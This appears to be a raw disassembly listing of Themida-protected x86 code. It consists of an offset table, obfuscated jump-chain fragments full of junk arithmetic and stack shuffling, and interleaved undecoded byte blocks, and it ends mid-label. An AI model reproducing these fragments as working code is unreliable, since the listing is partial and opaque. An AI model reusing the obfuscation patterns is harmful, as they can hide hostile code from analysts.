		dd offset word_562E5A
		dd offset byte_5509EB
		dd offset byte_553313
		dd offset byte_550D15
		dd offset byte_55C97B
		dd offset dword_55C808
		dd offset byte_556E71
		dd offset byte_562F21
		dd offset word_55A9DE
		dd offset dword_563698
		dd offset word_5618FE
		dd offset word_558792
		dd offset dword_551338
		dd offset dword_55E998
		dd offset byte_555A1F
		dd offset dword_561124
		dd offset dword_565B18
		dd offset byte_554D55
		dd offset word_564CB2
		dd offset word_565B9E
		dd offset byte_553E7F
		dd offset byte_562CBB
		dd offset word_5579F6
		dd offset byte_563805
		dd offset dword_55699C
		dd offset dword_557AF4
		dd offset byte_562893
		dd offset dword_55C120
		dd offset byte_55688B
		dd offset dword_56315C
		dd offset word_55B47E
		dd offset word_55866A
		dd offset byte_55C7B1
		dd offset byte_553EC5
		dd offset word_55A6C2
		dd offset word_55B73E
		dd offset byte_55137D
		dd offset word_561D26
		dd offset dword_56553C
		dd offset word_55345A
		dd offset dword_554630
		dd offset dword_565850
		dd offset byte_557C81
		dd offset dword_558234
		dd offset byte_564933
		dd offset aNhsl		; "╜hАl"
		dd offset byte_553689
		dd offset dword_55D350
		dd offset byte_555E5F
		dd offset byte_563431
		dd offset byte_551661
		dd offset dword_55DCEC
		dd offset byte_550FD7
		dd offset dword_561DA4
		dd offset word_55B01E
		dd offset word_553E72
		dd offset word_56242A
		dd offset dword_564CC0
		dd offset byte_557C6B
		dd offset word_55B396
		dd offset byte_553841
		dd offset aMsw_		; "╛Иw."
		dd offset byte_559E9F
		dd offset word_55B416
		dd offset dword_55D01C
; ---------------------------------------------------------------------------


loc_550968:				; CODE XREF: Themida_:0059B9C9j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60841B1h
		mov	eax, edi
		add	edi, 6083EC9h
		cmp	eax, [edi+2Ch]
		jnz	short loc_550986
		jmp	short loc_550999
; ---------------------------------------------------------------------------


loc_550986:				; CODE XREF: Themida_:00550982j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550995
; ---------------------------------------------------------------------------


loc_550990:				; CODE XREF: Themida_:00550997j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_550995:				; CODE XREF: Themida_:0055098Ej
		or	ecx, ecx
		jnz	short loc_550990


loc_550999:				; CODE XREF: Themida_:00550984j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5509A6:				; CODE XREF: Themida_:005509ADj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5509A6


loc_5509AF:				; CODE XREF: Themida_:00551F71j
					; Themida_:0055263Bj ...
		lodsb
		push	772Ah
		jmp	loc_55F147
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 53156868h, 0C09E9h, 47BB5300h, 8164BD6Ah, 0BD6A43EBh
		dd 3409E964h, 0D8F60001h, 88521604h, 5AD188C2h,	10238E9h
		db 0
; ---------------------------------------------------------------------------


loc_5509E5:				; CODE XREF: Themida_:0055B00Fj
		push	ebp
		jmp	loc_5653C1
; ---------------------------------------------------------------------------
byte_5509EB	db 66h			; DATA XREF: Themida_:00550868o
		dd 6824048Bh, 6689h, 89243C89h,	0D3B951E7h, 8160826Dh
		dd 0BB4AA4E9h, 2BF18164h, 1FBC723h, 240C8BCFh, 10403E9h
		dd 5AD00100h, 8B240487h, 0EC832424h, 0F1DCE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550A26:				; CODE XREF: Themida_:005624D9j
		push	dword ptr [esp]
		jmp	loc_55E3A8
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 74466AA8h, 2718ED81h, 95E9005Ch, 68000012h, 358Ch, 8904EC83h
		dd 4832424h, 48F0424h, 24048324h, 6F25E904h, 815E0000h
		dd 4C4h, 5189E900h, 4890000h, 1C6D6824h, 0E9581615h, 1077Fh
		dd 3381CB01h, 7EA1C52h,	83241C8Bh, 34FF04C4h, 2434FF24h
		dd 0B588E9h, 24143300h,	33241431h, 248B2414h, 0FFD03024h
		dd 148B2434h, 2B1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550AA6:				; CODE XREF: Themida_:00551E4Ej
		sub	eax, 10D25B38h
		shl	eax, 8
		push	ecx
		mov	ecx, 31C53FEAh
		neg	ecx
		shr	ecx, 4
		not	ecx
		dec	ecx
		not	ecx
		sub	ecx, 20F25C06h
		jmp	loc_558BC1
; ---------------------------------------------------------------------------


loc_550AC9:				; CODE XREF: Themida_:00561459j
		sub	edx, esi
		pop	esi
		push	243h
		mov	[esp], esi
		mov	esi, 47355EB0h
		neg	esi
		inc	esi
		sub	esi, 6D1642CBh
		jmp	loc_551E72
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9512434h, 4, 0E959CE89h, 936Dh
; ---------------------------------------------------------------------------


loc_550AF8:				; CODE XREF: Themida_:00559E8Dj
		mov	edx, [esp]
		jmp	loc_561928
; ---------------------------------------------------------------------------


loc_550B00:				; CODE XREF: Themida_:0055340Ej
		mov	ecx, 15962961h
		shr	ecx, 8
		and	ecx, 662D6C12h
		inc	ecx
		push	ebx
		jmp	loc_55FFB4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4870000h, 62685C24h,	8900005Bh, 6DE9240Ch, 0F700011Ah
		dd 7CBD55DEh, 0E9ACB8AAh, 14BFCh, 42474FFh, 14A27E9h
		db 0
; ---------------------------------------------------------------------------


loc_550B41:				; CODE XREF: Themida_:00557533j
		mov	edx, esp
		jmp	loc_559905
; ---------------------------------------------------------------------------


loc_550B48:				; CODE XREF: Themida_:0055628Cj
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5658BE
; ---------------------------------------------------------------------------


loc_550B5F:				; CODE XREF: Themida_:00553FE8j
		push	esp
		pop	eax
		jmp	loc_55448F
; ---------------------------------------------------------------------------
aQ5QiYsh	db 'Q╧5:$Q┴оYИhа',0
		align 4


loc_550B74:				; CODE XREF: Themida_:005573B6j
		mov	edi, 1CE132A0h
		mov	eax, edi
		pop	edi
		add	eax, 76CD7B7Dh
		sub	eax, 93AEAE1Dh
		jmp	loc_561263
; ---------------------------------------------------------------------------
		db 89h
		dd 6F682414h, 89000046h, 0BD55243Ch, 436620E3h,	3EBF5755h
		dd 310C9C3Ah, 0E904247Ch, 1286Dh, 0F308E3B6h, 8EF3805Ah
		dd 88DD8851h, 34FF59EEh, 241C8B24h, 4C481h, 0C4810000h
		dd 4, 8B66F030h, 39E92414h
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550BD7:				; CODE XREF: Themida_:0055475Bj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55E436
; ---------------------------------------------------------------------------
		dd 5A11EB81h, 0BA527D71h, 67433DBh, 0F33C281h, 0E2C1652Ah
		dd 6CA8102h, 0C175E17Ch, 0D2F706E2h, 58AAEA81h,	0CDE93945h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550C13:				; CODE XREF: Themida_:00555E14j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_558E70
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 5D2434FFh, 0A4B6850h, 24890000h, 24048124h, 4, 40558h
		dd 0C0830000h, 24048704h, 3324248Bh, 3C31243Ch,	243C3324h
		dd 0C148E95Ch, 0CD890000h, 2F57E959h
		db 1, 0
; ---------------------------------------------------------------------------


loc_550C62:				; CODE XREF: Themida_:0055AF49j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5605F7
; ---------------------------------------------------------------------------


loc_550C71:				; CODE XREF: Themida_:00555EBDj
		pop	edx
		sub	ebx, 36665965h
		jmp	loc_564499
; ---------------------------------------------------------------------------


loc_550C7D:				; CODE XREF: Themida_:0055C3CDj
		xchg	edx, [esp]
		jmp	loc_55DCD8
; ---------------------------------------------------------------------------
byte_550C85	db 0ADh, 55h, 50h	; DATA XREF: Themida_:005507ACo
		dd 0FB041CB8h, 481501Dh, 0BD752424h, 0ED815D72h, 72BD7524h
		dd 8324048Bh, 0BA5204C4h, 5BB31963h, 5F5A5752h,	473DBD55h
		dd 0CD8104B1h, 7B9010DEh, 2C1EE581h, 0CD8167C9h, 1F735B8Fh
		dd 7ECBE581h, 0ED81340Fh, 34035E8Ch, 7F8EE9h, 68DDF700h
		dd 5748h, 0BA241489h, 4588512Bh, 525AD509h, 3B97E9h, 5BF80800h
		dd 0B2CD0F6h, 12E4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550CF9:				; CODE XREF: Themida_:00558B30j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jmp	loc_55BF65
; ---------------------------------------------------------------------------
byte_550D15	db 0FFh, 77h, 3Ch	; DATA XREF: Themida_:00550870o
		dd 8B2434FFh, 68502404h, 5077h,	343AE954h
		db 1, 0
; ---------------------------------------------------------------------------


loc_550D2A:				; CODE XREF: Themida_:0055C262j
		mov	[esp], edx
		mov	dh, 1Eh
		and	dh, 45h
		or	dh, 18h
		jmp	loc_551037
; ---------------------------------------------------------------------------
word_550D3A	dw 30ACh		; DATA XREF: Themida_:005507BCo
		dd 2EC83D8h, 241C8966h,	0D830CEB3h, 241C8B66h, 44B96850h
		dd 72E90000h, 8100004Dh, 4C4h, 4C48300h, 0F670B450h, 0E1CC80DCh
		dd 0D451E9h, 24048900h,	42474FFh, 8324048Bh, 48F04C4h
		dd 27D9E924h, 0BE560000h, 500C535Fh, 152BD405h,	4DFC0531h
		dd 0F00129E8h, 0E84DFC2Dh, 2BD42D29h, 295E3115h, 0CA6FE9F8h
		dd 0FE890000h, 4CE9595Fh, 0BB00013Eh, 115E7724h, 0E905E3C1h
		dd 66D7h
; ---------------------------------------------------------------------------


loc_550DBC:				; CODE XREF: Themida_:00556577j
		pop	esi
		jmp	loc_55A993
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815924h, 4, 0DF87CF87h, 2414F753h, 0CCEEE9h, 0CCE98100h
		dd 0E93DB641h, 13A51h
; ---------------------------------------------------------------------------


loc_550DE4:				; CODE XREF: Themida_:0056561Aj
		push	edx
		push	4883h
		jmp	loc_55EBBE
; ---------------------------------------------------------------------------


loc_550DEF:				; CODE XREF: Themida_:005534A1j
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_565216
; ---------------------------------------------------------------------------
aSu7		db '\И·7',0
		db 0
; ---------------------------------------------------------------------------


loc_550E07:				; CODE XREF: Themida_:0055D6B0j
		pop	esi
		jmp	loc_55BFCF
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 7
		dd 0C708E504h, 0D6CF8058h, 3062F780h, 0EEC05BFEh, 6EEC008h
		dd 0F13BE9h, 0E9FE2900h, 0B780h, 662128BDh, 2129BA61h
		dd 0EA316166h, 5AD6295Dh, 4FC8BB53h, 0EC832855h, 678E904h
		dd 9C500000h, 0B635E9h,	7948BE00h, 0F3894240h, 67C3815Eh
		dd 81610392h, 2E065EEFh, 81DF293Fh, 2E065EC7h, 0E82D5B3Fh
		dd 2974DA64h, 64E805F8h, 685F74DAh, 3768h, 52243489h, 1D0A2668h
		dd 0B8505A57h, 602566E7h, 90E9C201h
		db 6, 1, 0
; ---------------------------------------------------------------------------


loc_550E9B:				; CODE XREF: Themida_:00559DF2j
		add	esi, ebp
		add	esi, 94F0382h
		sub	esi, 3C374030h
		jmp	loc_563F4F
; ---------------------------------------------------------------------------


loc_550EAE:				; CODE XREF: Themida_:005637A0j
		add	ebp, ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		jmp	loc_5624DE
; ---------------------------------------------------------------------------


loc_550EC3:				; CODE XREF: Themida_:00553F40j
		sub	esp, 4
		jmp	loc_551395
; ---------------------------------------------------------------------------


loc_550ECE:				; CODE XREF: Themida_:0055A575j
		sub	dword ptr [esp+4], 6DBA2B26h
		jmp	loc_55C234
; ---------------------------------------------------------------------------
		db 50h
		dd 33329FB8h, 0FFC5210Fh, 81582434h, 4C4h, 2EDC100h, 7F5FC581h
		dd 0B68FFF7h, 89000039h, 34FF242Ch, 89505924h, 405E0h
		dd 0C0830000h, 24048704h, 2434FF5Ch, 7856E9h
		db 0
; ---------------------------------------------------------------------------


loc_550F19:				; CODE XREF: Themida_:00551EDBj
		add	ebp, 4
		jmp	loc_553F36
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 12E168h, 24348900h, 6857E689h, 4436h, 0BB241C89h
		dd 2E5A4F07h, 10706E9h,	4CB66800h, 0B5E90000h, 50000078h
		dd 0CB29FDB8h, 89DFE946h, 2FB40000h, 80D9CC80h,	0C2B387C4h
		dd 0E82AE9h, 3E1C100h, 605EE181h, 0D9F71CA0h, 0E981D1F7h
		dd 0B983262Ah, 743DE9h,	0C3815B00h, 4, 4BF57h, 0EB810000h
		dd 623E2E81h, 38BBEB81h, 0FB013713h, 38BBC381h,	0C3813713h
		dd 623E2E81h, 43A9E9h, 24248B00h, 2474FF50h, 48F5804h
		dd 24248B24h, 582434FFh, 68E78957h, 76CBh, 0BE243489h
		dd 73230CA2h, 0F6E9D6F7h
		db 1Ah,	1, 0
byte_550FD7	db 66h			; DATA XREF: Themida_:00550934o
		dd 0E9240C8Bh, 0C58Ah
; ---------------------------------------------------------------------------


loc_550FE0:				; CODE XREF: Themida_:0055D390j
		sub	bl, 78h
		add	al, 0C7h
		jmp	loc_553C63
; ---------------------------------------------------------------------------


loc_550FEA:				; CODE XREF: Themida_:0056346Ej
		or	ebp, esi
		jmp	loc_556BC4
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0B2E90000h, 0E9000101h, 0FFFFF9AFh
; ---------------------------------------------------------------------------


loc_551000:				; CODE XREF: Themida_:0055656Fj
		push	dword ptr [esp]
		jmp	loc_561F32
; ---------------------------------------------------------------------------
		dd 4C681h, 34330000h, 250DE924h, 0F5010001h, 8324348Bh
		dd 0C58304C4h, 242C8704h, 4C5DE9h, 0F2685200h, 8B601E6Ch
		dd 1E92414h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551037:				; CODE XREF: Themida_:00550D35j
		sub	dh, 4Fh
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		neg	al
		jmp	loc_558B12
; ---------------------------------------------------------------------------
		db 1, 0DFh, 81h
		dd 5718B2C7h, 0EF815B29h, 4, 2474FF57h,	48F5F04h, 24248B24h
		dd 0E9240C89h, 0B2A6h
; ---------------------------------------------------------------------------


loc_55106C:				; CODE XREF: Themida_:0056409Fj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	ebp
		jmp	loc_55913C
; ---------------------------------------------------------------------------


loc_55107A:				; CODE XREF: Themida_:005557BEj
		push	edx
		mov	edx, 309750D0h
		or	edx, 23B608E5h
		jmp	loc_556555
; ---------------------------------------------------------------------------
aQssx		db 'ЁQИХX',0
		align 2
aISL		db '\┴,$И:╚',0
		dw 0BB00h
		dd 42087D87h, 14113E9h
		db 0
; ---------------------------------------------------------------------------


loc_5510A5:				; CODE XREF: Themida_:00552E48j
		or	eax, eax
		jz	loc_555E86
		push	46E0h
		jmp	loc_55972C
; ---------------------------------------------------------------------------
aEaNAinsc	db ',┘─цN(ц─КNИФ╫',0
		align 2
		dw 5E35h
		dd 8105B62Dh, 0A30821EEh, 80B85043h, 294C3268h,	0ED4BE9C6h
		dd 0EB800000h, 2705E95Ch, 48B0000h, 4C48324h, 4EC81h, 14890000h
		dd 4EC8324h, 0E9242489h, 14AE5h, 46243481h, 593BDB57h
		dd 5746BE56h, 0F1313BDBh, 34FF585Eh, 0E86E924h,	0E95D0000h
		dd 4222h, 3F243481h, 8B33B321h,	47E92434h, 81000012h, 4ECh
		dd 240C8900h, 4EC81h, 24890000h, 4BA5224h, 1000000h, 5A042454h
		dd 4C18159h, 83000000h,	0FF5102C1h, 0E9042474h,	0B6FEh
		dd 66C7815Fh, 2920C23Eh, 34FF5FFBh, 0C4835A24h,	0F013E904h
		dd 0C870000h, 0EC815C24h, 4, 53243489h,	140DE9h
		db 0
; ---------------------------------------------------------------------------


loc_551189:				; CODE XREF: Themida_:00554E9Dj
		mov	edi, 6966653Eh
		jmp	loc_553EA0
; ---------------------------------------------------------------------------
		db 81h
		dd 408405F7h, 3CF6E982h
		db 1, 0
word_55119E	dw 0C8Bh		; DATA XREF: Themida_:0055084Co
		dd 4EC8324h, 54240C89h,	5EE95559h, 520000BBh, 13D45E9h
		dd 0EF815900h, 37FD7907h, 2334EF81h, 0EF0154A8h, 2334C781h
		dd 0C78154A8h, 37FD7907h, 2434FF5Dh, 4C4835Bh, 107D3E9h
		dd 40500h, 9E90000h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5511E7:				; CODE XREF: Themida_:005593CAj
		pop	ecx
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 317635EFh
		push	esi
		dec	dword ptr [esp]
		pop	esi
		push	edi
		push	edx
		mov	edx, 353B1941h
		push	edx
		mov	edx, 7A515417h
		mov	edi, 521359ADh
		sub	edi, edx
		pop	edx
		jmp	loc_56210E
; ---------------------------------------------------------------------------


loc_551216:				; CODE XREF: Themida_:0056387Cj
		pop	ebx
		sub	eax, ecx
		jmp	loc_558360
; ---------------------------------------------------------------------------


loc_55121E:				; CODE XREF: Themida_:005567B3j
		push	edi
		push	ebx
		mov	ebx, 0E520497h
		mov	edi, 106C09A1h
		sub	edi, ebx
		pop	ebx
		dec	edi
		shl	edi, 3
		sub	edi, 538A1447h
		shl	edi, 6
		sub	edi, 0FFFFFFFFh
		jmp	loc_557FC2
; ---------------------------------------------------------------------------


loc_551242:				; CODE XREF: Themida_:00557044j
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5513AA
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4C3h, 74FF5300h, 8F5B0424h, 0E95C2404h
		dd 10105h
; ---------------------------------------------------------------------------


loc_551274:				; CODE XREF: Themida_:00560272j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		push	ebx
		jmp	loc_560D9E
; ---------------------------------------------------------------------------


loc_551281:				; CODE XREF: Themida_:0055CF77j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	0AF2h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	62D801EAh
		jmp	loc_559CF2
; ---------------------------------------------------------------------------
		db 53h,	68h, 7Bh
		dd 5B4FB84Ch, 2707EB81h, 0DA8923A0h, 0C0C2815Bh, 0F7781B7Ch
		dd 5E2C1DAh, 0EBD1E9h, 0DEEA8100h, 0E96F6119h, 1ABCh, 55F1015Fh
		dd 102688BDh, 0F6CD8123h, 8163AC55h, 692228E5h,	10ED817Fh
		dd 0E9F9E0A9h, 78CAh, 0F400DDB4h, 0E924148Bh, 13C91h
; ---------------------------------------------------------------------------


loc_5512FC:				; CODE XREF: Themida_:0055632Bj
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, eax
		push	45Dh
		jmp	loc_55F43E
; ---------------------------------------------------------------------------


loc_551310:				; CODE XREF: Themida_:00557D6Cj
		push	ecx
		mov	ecx, 40D22618h
		push	ebp
		mov	ebp, 73DB5011h
		xor	ecx, ebp
		pop	ebp
		add	eax, ecx
		pop	ecx
		push	esi
		push	ecx
		mov	ecx, 61BB3E9Dh
		not	ecx
		sub	ecx, 9A197DFBh
		mov	esi, ecx
		jmp	loc_553379
; ---------------------------------------------------------------------------
dword_551338	dd 24048B66h, 4EC81h, 14890000h, 81E28924h, 4C2h, 4C346800h
					; DATA XREF: Themida_:00550894o
		dd 0DBE90000h, 810000CBh, 0F363A0EBh, 8924E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551362:				; CODE XREF: Themida_:0055258Aj
		add	dword ptr [esp+4], 7A35433Dh
		sub	dword ptr [esp+4], 132C1CF8h
		push	ebp
		jmp	loc_55A0F2
; ---------------------------------------------------------------------------
		dd 0FFF632E9h
		db 0FFh
byte_55137D	db 64h,	66h, 0Fh	; DATA XREF: Themida_:005508F4o
		dd 686602B6h, 896679AAh, 20E92404h, 51FFFFF6h, 3446E9h
		db 0
; ---------------------------------------------------------------------------


loc_551395:				; CODE XREF: Themida_:00550EC9j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_564ADC
; ---------------------------------------------------------------------------


loc_5513AA:				; CODE XREF: Themida_:00551252j
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	6C35h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5605AB
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC81E6h, 89000000h,	4BF243Ch, 1000000h, 243C8BFEh
		dd 8104C483h, 4C6h, 24348700h, 2C7835Ch, 2474FF57h, 48F5F04h
		dd 24248B24h, 9C2424D3h, 0FFF5A6E9h, 4C181FFh, 51000000h
		dd 42474FFh, 24048F59h,	123D6E9h, 24348700h, 8924248Bh
		dd 4BD242Ch, 1000000h, 242C8BE8h, 2C4568h, 9EF2E900h, 4830000h
		dd 83580424h, 0C8904ECh, 4B924h, 3FE90000h
		db 47h,	1, 0
; ---------------------------------------------------------------------------


loc_55144F:				; CODE XREF: Themida_:00560C6Bj
		sub	ax, 1D0Bh
		neg	ax
		jmp	loc_55FCCF
; ---------------------------------------------------------------------------


loc_55145B:				; CODE XREF: Themida_:00558E8Dj
		pop	edx
		mov	edi, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_557A13
; ---------------------------------------------------------------------------


loc_551469:				; CODE XREF: Themida_:00559346j
		xor	ax, dx
		jmp	loc_5626CC
; ---------------------------------------------------------------------------


loc_551471:				; CODE XREF: Themida_:0055CB7Dj
		push	eax
		jmp	loc_55EE21
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF5B0Bh, 0E9565A24h, 4FF7h
; ---------------------------------------------------------------------------


loc_551484:				; CODE XREF: Themida_:0055A999j
		mov	[esp], edx
		mov	edx, 40000h
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55DA52
; ---------------------------------------------------------------------------
		db 5, 16h, 6Bh
		dd 0C8010579h, 4EC81h, 2C890000h, 61B85024h, 895A701Ah
		dd 0C58158C5h, 0DE24E14h, 0F3E94D4Dh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5514BF:				; CODE XREF: Themida_:00565A59j
		shl	edx, 1
		jmp	loc_55BD9C
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0D297BA24h, 0B951F760h, 2D470F37h, 0C104E1C1h, 0C18105E1h
		dd 9611F4CAh, 1DE4E9h, 242C8900h, 644D83BDh, 5DEE093Ch
		dd 6092BD55h, 0EE01E54Dh, 0F7E9565Dh, 83000016h
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 3AED4B43h
		push	edi
		mov	edi, 32C147F3h
		and	ebp, edi
		jmp	loc_565388
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 6Eh
		dd 1026ADAh, 0EF815AD7h, 1A6E1568h, 2C7835Bh, 8904EC83h
		dd 74FF243Ch, 34FF0424h, 243C8B24h, 0BB72E9h, 40500h, 42D0000h
		dd 50000000h, 8D8DE9h, 4EC8300h, 0E632E9h, 0C2815A00h
		dd 4, 5204EA83h, 42474FFh, 8124148Bh, 4C4h, 0CB29E900h
		dd 0EE090000h, 1CB9515Dh, 8104B97Fh, 992029F1h,	0DFF18105h
		dd 0E94145DBh, 0E3E3h
; ---------------------------------------------------------------------------


loc_5515A0:				; CODE XREF: Themida_:00561B78j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564228
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5604EE83h, 42474FFh, 8474E9h, 2BC98100h, 0F709D308h
		dd 8225E9D1h, 0CF010000h, 6868C781h, 1595315h, 2879E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5515DE:				; CODE XREF: Themida_:005627CBj
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_55FD7D
; ---------------------------------------------------------------------------


loc_5515EC:				; CODE XREF: Themida_:005594BFj
		mov	ecx, [esp]
		jmp	loc_55921B
; ---------------------------------------------------------------------------
		dd 8B241C33h, 34FF2424h, 24048B24h, 0A0D1E9h, 5FF82900h
		dd 0E9240487h, 12333h, 207F83h,	0D98C840Fh, 0E9500000h
		dd 1258h
; ---------------------------------------------------------------------------


loc_551620:				; CODE XREF: Themida_:00561A91j
		mov	ebx, 33DD2184h
		mov	ebp, 33DD2188h
		sub	ebp, ebx
		pop	ebx
		sub	edi, 249760FEh
		add	edi, ebp
		push	eax
		jmp	loc_55F5BB
; ---------------------------------------------------------------------------
		db 9
		dd 24348BF0h, 8B6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_551645:				; CODE XREF: Themida_:0055E180j
		shl	ecx, 7
		sub	ecx, 1FC9D532h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, edi
		pop	edi
		shr	ebx, 2
		jmp	loc_55982F
; ---------------------------------------------------------------------------
byte_551661	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055092Co
		dd 5624048Bh, 0C681E689h, 4, 8704C683h,	555C2434h, 10AC68h
		dd 0E54FE900h, 0B8500000h, 3A45055Bh, 0F305D8F7h, 0F7687A38h
		dd 5E8D1D8h, 6F344529h,	2EA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55169D:				; CODE XREF: Themida_:0055496Dj
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		shr	eax, 0Bh
		xor	ecx, eax
		push	2FAAh
		mov	[esp], esi
		jmp	loc_55C5F8
; ---------------------------------------------------------------------------


loc_5516C2:				; CODE XREF: Themida_:0055A4DCj
		push	esi
		push	ebx
		push	45BC7357h
		pop	ebx
		jmp	loc_55CB4E
; ---------------------------------------------------------------------------


loc_5516CF:				; CODE XREF: Themida_:00554A0Dj
		pop	esi
		push	edi
		mov	edi, 2
		jmp	loc_55E28E
; ---------------------------------------------------------------------------


loc_5516DB:				; CODE XREF: Themida_:005569D8j
		mov	edx, [esp]
		jmp	loc_55C267
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 242C895Ch, 4BDh, 246C0100h,	242C8B04h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 3464h
; ---------------------------------------------------------------------------


loc_551714:				; CODE XREF: Themida_:0055B157j
		add	edi, 4
		sub	esp, 4
		jmp	loc_558557
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0EBh
		dd 0E9242E72h, 7CF7h
; ---------------------------------------------------------------------------


loc_551730:				; CODE XREF: Themida_:0055653Aj
		mov	esp, [esp]
		jmp	loc_55C25D
; ---------------------------------------------------------------------------
		dd 24048B54h, 4C481h, 4050000h,	2D000000h, 4, 5C240487h
		dd 8907E9h
		db 0
; ---------------------------------------------------------------------------


loc_551755:				; CODE XREF: Themida_:0055C8CAj
		push	2540h
		jmp	loc_564210
; ---------------------------------------------------------------------------
		db 55h
		dd 2E2E6852h, 815A6BBEh, 0FB0474EAh, 33F28175h,	0E9503657h
		dd 0D10h, 0E95DEB89h, 0BE2Fh, 2404D366h, 0F225E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55178A:				; CODE XREF: Themida_:00553206j
		add	edx, eax
		sub	edx, 7C9849ECh
		jmp	loc_564683
; ---------------------------------------------------------------------------
		db 59h
		dd 8056F680h, 0E6C061C6h, 0B0505102h, 0CCEEE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517AA:				; CODE XREF: Themida_:00561A01j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_559C5F
; ---------------------------------------------------------------------------
		db 1, 0D7h, 8Bh
		dd 0EC832414h, 241C8904h, 0B850E389h, 4, 62C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5517D5:				; CODE XREF: Themida_:0055822Fj
		pop	ebp
		sub	edi, ebx
		sub	edi, 7EFA77FFh
		sub	edi, 49C24664h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_552335
; ---------------------------------------------------------------------------


loc_5517EF:				; CODE XREF: Themida_:0056125Ej
		sub	ebx, 748C0BCEh
		sub	ebx, 276E7941h
		add	ebx, edi
		push	esi
		jmp	loc_553015
; ---------------------------------------------------------------------------
		db 81h
		dd 4804246Ch, 1253248h,	8104247Ch, 48042444h, 5F253248h
		dd 81241C8Bh, 4C4h, 4C38100h, 51000000h, 157481B9h, 81D1F76Ah
		dd 0BB2780F1h, 8EC98105h, 817A583Ah, 59BEFCE9h,	8BCB01FAh
		dd 6852240Ch, 40ECh, 81242489h,	42404h,	0D4E90000h, 290000F2h
		dd 0CBDEE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551862:				; CODE XREF: Themida_:00564F1Dj
